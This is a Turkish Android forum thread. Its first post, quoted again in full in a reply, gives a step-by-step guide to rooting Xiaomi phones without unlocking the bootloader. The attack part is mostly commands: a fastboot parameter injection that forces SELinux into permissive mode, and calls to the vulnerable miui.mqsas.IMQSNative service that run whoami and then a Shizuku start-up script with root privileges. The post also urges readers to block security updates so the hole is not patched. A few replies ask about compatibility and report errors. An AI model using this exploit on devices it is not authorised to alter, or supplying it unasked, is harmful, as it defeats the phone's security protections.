Rehber Xiaomi Cihazlarda Bootloader Açmadan Root (Adım Adım Rehber)

Security Developer

ᴍɪᴜɪ ᴍᴇᴍᴏʀʏ
Usta Üye
MIUI Sever
SMS Onaylı
Adım
Đ₳Ɽ₭ ₩ØⱤⱠĐ
Cihazım
Xiaomi, Huawei
Meslek
Whatever
Konum
Alaska
Katılım
4 Nisan 2022
Konular
32
Mesajlar
1.157
Çözümler
13
Tepkime puanı
798
Puanları
128
Xiaomi Cihazlarda Bootloader Kilidi Açmadan Root Ayrıcalıkları Elde Etme Rehberi

ÖNEMLİ UYARI: İşlemlere başlamadan önce cihazınızın tam yedeğini almanız kritik önem taşır. Bu işlemler, sistemin derinliklerine müdahale etmeyi gerektirir. Cihazınızda oluşabilecek veri kayıpları veya yazılımsal sorunlardan işlemi uygulayan kişi sorumludur.

DİKKAT: OTA Güncellemeleri ve "qfuse" Tehlikesi
İşlemlere başlamadan önce veya root işlemini tamamlar tamamlamaz sistem güncellemelerini (OTA) tamamen kapatmanız veya dondurmanız gerekmektedir. Eğer cihazınız arka planda sessizce güncellenirse, Xiaomi bu güvenlik açığını yamayacak ve cihazınızdaki "qfuse" adı verilen donanımsal sigortayı kalıcı olarak yakacaktır. Bu sigorta bir kez yandığında geri dönüşü yoktur ve bu root yöntemini veya bootloader kilit açma işlemlerini bir daha kullanamazsınız.



Ön Hazırlık: Android SDK Kurulumu ve Bağlantı Testi
Gereksinimler:
  • Cihazınızda "USB Hata Ayıklama" (USB Debugging) özelliğinin etkinleştirilmiş olması.
  • Bilgisayarınıza Google'ın resmi paketinin indirilmiş ve bir klasöre çıkartılmış olması.
  • Cihazın sağlam bir USB kablosu ile bilgisayara bağlı olması.

Bağlantıyı Doğrulama:
Bilgisayarınızdaki Platform Tools klasörünün içinde bir Komut İstemi (CMD) veya Terminal açın. Cihazın doğru bağlandığından emin olmak için aşağıdaki komutu girin:
Bash:
adb devices
(Not: Listede cihazınızın yanında "unauthorized" yazıyorsa, telefonunuzun ekranını kontrol edip RSA anahtarına izin verin ve komutu tekrarlayın.)



Adım 1: Cihazı Fastboot Moduna Alma
İşlemlere cihazın önyükleme (bootloader) ekranına geçiş yaparak başlıyoruz. Bilgisayarınızdaki Platform Tools klasörünün içinde bir Komut İstemi (CMD) veya Terminal açın ve aşağıdaki komutu girin:

Bash:
adb shell reboot bootloader

Adım 2: SELinux Güvenliğini İzin Verici (Permissive) Moda Alma
Sistemin varsayılan güvenlik kalkanı olan SELinux'u geçici olarak esnetmek için gerekli parametreyi enjekte edin ve cihazı başlatın:

Bash:
fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive 
fastboot continue
(Not: Telefonunuzu normal şekilde yeniden başlattığınızda SELinux tekrar katı/strict moda geri dönecektir. Bu komut olmadan root elde edilmeye çalışılırsa, veri dizinindeki dosyaları okumak veya yazmak sistem tarafından engellenecektir.)

Adım 3: Root Erişimini Doğrulama
Cihaz açıldıktan sonra, güvenlik açığı bulunan miui.mqsas.IMQSNative servisini kullanarak root yetkisiyle bir test komutu çalıştırıyoruz:

Bash:
adb shell service call miui.mqsas.IMQSNative 21 i32 1 s16 "whoami" i32 1 s16 "" s16 '/sdcard/log.txt' i32 600
Cihazınızın dahili depolama alanında oluşan log.txt dosyasını açın. Dosya içerisinde "root" ifadesi yer alıyorsa, güvenlik açığı başarıyla tetiklenmiş demektir.

Adım 4: Shizuku Ortam Değişkenlerini Bulma
SELinux'un izin verici modda çalışması sayesinde erişime açılan veri bölümündeki yetkileri Shizuku uygulamasına devretmemiz gerekiyor. Uygulamanın Çevresel Değişkenlerini (Environment Variables) bulmak için aşağıdaki komutu girin:

Bash:
adb shell env
Ekranda listelenen sonuçlar arasından DEX2OATBOOTCLASSPATH ve BOOTCLASSPATH değerlerini bularak kopyalayın.

Adım 5: Başlatma Betiğini (Script) Oluşturma
Bilgisayarınızda yeni bir metin belgesi oluşturun ve adını start.sh olarak değiştirin. Bir önceki adımda kopyaladığınız değişkenleri ve cihazınızdaki Shizuku kurulum yolunu bu dosyaya aşağıdaki formatta yapıştırın:

Bash:
export DEX2OATBOOTCLASSPATH="kopyaladiginiz_deger_buraya" 
export BOOTCLASSPATH="kopyaladiginiz_deger_buraya" 
/data/app/~~sizin_cihazinizdaki_rastgele_yol/moe.shizuku.privileged.api-sizin_cihazinizdaki_rastgele_yol/lib/arm64/libshizuku.so

Adım 6: Shizuku'ya Root Erişimini Tanımlama
Hazırladığınız bu .sh betiğini aşağıdaki komut yardımıyla telefonun ana dizinine aktarın:

Bash:
adb push start.sh /sdcard/start.sh

Son olarak, Shizuku'ya root yetkilerini atamak için sistem servisindeki zafiyeti kullanarak betiği çalıştırın:

Bash:
adb shell service call miui.mqsas.IMQSNative 21 i32 1 s16 "sh" i32 1 s16 "/sdcard/start.sh" s16 '/sdcard/log.txt' i32 600


İşlem tamamlanmıştır. Artık cihazınızda bootloader kilidini açmadan Shizuku aracılığıyla root ayrıcalıklarını kullanabilirsiniz. Konuyla ilgi
li karşılaştığınız hataları veya soruları aşağıya yazabilirsiniz.
 
Son düzenleme:

ci021

Deneyimli Üye
Deneyimli Üye
MIUI Sever
Adım
cihat
Cihazım
redmi4
Yaş
36
Konum
istanbul
Katılım
26 Temmuz 2017
Konular
11
Mesajlar
121
Çözümler
1
Tepkime puanı
18
Puanları
18
Xiaomi Cihazlarda Bootloader Kilidi Açmadan Root Ayrıcalıkları Elde Etme Rehberi

ÖNEMLİ UYARI: İşlemlere başlamadan önce cihazınızın tam yedeğini almanız kritik önem taşır. Bu işlemler, sistemin derinliklerine müdahale etmeyi gerektirir. Cihazınızda oluşabilecek veri kayıpları veya yazılımsal sorunlardan işlemi uygulayan kişi sorumludur.

DİKKAT: OTA Güncellemeleri ve "qfuse" Tehlikesi
İşlemlere başlamadan önce veya root işlemini tamamlar tamamlamaz sistem güncellemelerini (OTA) tamamen kapatmanız veya dondurmanız gerekmektedir. Eğer cihazınız arka planda sessizce güncellenirse, Xiaomi bu güvenlik açığını yamayacak ve cihazınızdaki "qfuse" adı verilen donanımsal sigortayı kalıcı olarak yakacaktır. Bu sigorta bir kez yandığında geri dönüşü yoktur ve bu root yöntemini veya bootloader kilit açma işlemlerini bir daha kullanamazsınız.



Ön Hazırlık: Android SDK Kurulumu ve Bağlantı Testi
Gereksinimler:
  • Cihazınızda "USB Hata Ayıklama" (USB Debugging) özelliğinin etkinleştirilmiş olması.
  • Bilgisayarınıza Google'ın resmi paketinin indirilmiş ve bir klasöre çıkartılmış olması.
  • Cihazın sağlam bir USB kablosu ile bilgisayara bağlı olması.

Bağlantıyı Doğrulama:
Bilgisayarınızdaki Platform Tools klasörünün içinde bir Komut İstemi (CMD) veya Terminal açın. Cihazın doğru bağlandığından emin olmak için aşağıdaki komutu girin:
Bash:
adb devices
(Not: Listede cihazınızın yanında "unauthorized" yazıyorsa, telefonunuzun ekranını kontrol edip RSA anahtarına izin verin ve komutu tekrarlayın.)



Adım 1: Cihazı Fastboot Moduna Alma
İşlemlere cihazın önyükleme (bootloader) ekranına geçiş yaparak başlıyoruz. Bilgisayarınızdaki Platform Tools klasörünün içinde bir Komut İstemi (CMD) veya Terminal açın ve aşağıdaki komutu girin:

Bash:
adb shell reboot bootloader

Adım 2: SELinux Güvenliğini İzin Verici (Permissive) Moda Alma
Sistemin varsayılan güvenlik kalkanı olan SELinux'u geçici olarak esnetmek için gerekli parametreyi enjekte edin ve cihazı başlatın:

Bash:
fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive
fastboot continue
(Not: Telefonunuzu normal şekilde yeniden başlattığınızda SELinux tekrar katı/strict moda geri dönecektir. Bu komut olmadan root elde edilmeye çalışılırsa, veri dizinindeki dosyaları okumak veya yazmak sistem tarafından engellenecektir.)

Adım 3: Root Erişimini Doğrulama
Cihaz açıldıktan sonra, güvenlik açığı bulunan miui.mqsas.IMQSNative servisini kullanarak root yetkisiyle bir test komutu çalıştırıyoruz:

Bash:
adb shell service call miui.mqsas.IMQSNative 21 i32 1 s16 "whoami" i32 1 s16 "" s16 '/sdcard/log.txt' i32 600
Cihazınızın dahili depolama alanında oluşan log.txt dosyasını açın. Dosya içerisinde "root" ifadesi yer alıyorsa, güvenlik açığı başarıyla tetiklenmiş demektir.

Adım 4: Shizuku Ortam Değişkenlerini Bulma
SELinux'un izin verici modda çalışması sayesinde erişime açılan veri bölümündeki yetkileri Shizuku uygulamasına devretmemiz gerekiyor. Uygulamanın Çevresel Değişkenlerini (Environment Variables) bulmak için aşağıdaki komutu girin:

Bash:
adb shell env
Ekranda listelenen sonuçlar arasından DEX2OATBOOTCLASSPATH ve BOOTCLASSPATH değerlerini bularak kopyalayın.

Adım 5: Başlatma Betiğini (Script) Oluşturma
Bilgisayarınızda yeni bir metin belgesi oluşturun ve adını start.sh olarak değiştirin. Bir önceki adımda kopyaladığınız değişkenleri ve cihazınızdaki Shizuku kurulum yolunu bu dosyaya aşağıdaki formatta yapıştırın:

Bash:
export DEX2OATBOOTCLASSPATH="kopyaladiginiz_deger_buraya"
export BOOTCLASSPATH="kopyaladiginiz_deger_buraya"
/data/app/~~sizin_cihazinizdaki_rastgele_yol/moe.shizuku.privileged.api-sizin_cihazinizdaki_rastgele_yol/lib/arm64/libshizuku.so

Adım 6: Shizuku'ya Root Erişimini Tanımlama
Hazırladığınız bu .sh betiğini aşağıdaki komut yardımıyla telefonun ana dizinine aktarın:

Bash:
adb push start.sh /sdcard/start.sh

Son olarak, Shizuku'ya root yetkilerini atamak için sistem servisindeki zafiyeti kullanarak betiği çalıştırın:

Bash:
adb shell service call miui.mqsas.IMQSNative 21 i32 1 s16 "sh" i32 1 s16 "/sdcard/start.sh" s16 '/sdcard/log.txt' i32 600


İşlem tamamlanmıştır. Artık cihazınızda bootloader kilidini açmadan Shizuku aracılığıyla root ayrıcalıklarını kullanabilirsiniz. Konuyla ilgi
li karşılaştığınız hataları veya soruları aşağıya yazabilirsiniz.
Merhaba öncelikle elinize sağlık. Hyperos 1 fake rom yüklü cin cihazında işe yarar mı acaba?
 

Security Developer

ᴍɪᴜɪ ᴍᴇᴍᴏʀʏ
Usta Üye
MIUI Sever
SMS Onaylı
Adım
Đ₳Ɽ₭ ₩ØⱤⱠĐ
Cihazım
Xiaomi, Huawei
Meslek
Whatever
Konum
Alaska
Katılım
4 Nisan 2022
Konular
32
Mesajlar
1.157
Çözümler
13
Tepkime puanı
798
Puanları
128

eminguc1995

Kıdemli Üye
Kıdemli Üye
MIUI Sever
SMS Onaylı
Adım
Emin
Cihazım
RN12 Pro 5G
Meslek
Serbest
Konum
Ordu
Katılım
23 Ekim 2018
Konular
12
Mesajlar
322
Çözümler
4
Tepkime puanı
132
Puanları
58
fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive fastboot continue
C:\Users\Emin\Desktop\platform-tools>fastboot oem set-gpu-preemption-value 0 androidboot.selinux=permissive
FAILED (remote: 'unknown command')
fastboot: error: Command failed hatası veriyor.
Cihaz dirençli redmi note 12 pro 5g
 
Son düzenleme:

omertrans505

Kıdemli Üye
Kıdemli Üye
MIUI Sever
SMS Onaylı
Adım
ömer
Cihazım
GM 5 plus d
Yaş
27
Konum
istanbul
Katılım
25 Mart 2017
Konular
42
Mesajlar
385
Tepkime puanı
79
Puanları
43
OTA Updater uygulamasını nasıl donuyor? Shizuku izin verip donmayı denedim, Permission Denied hatası alıyorum. Yardımcı olabilir misiniz?
 
Üst Alt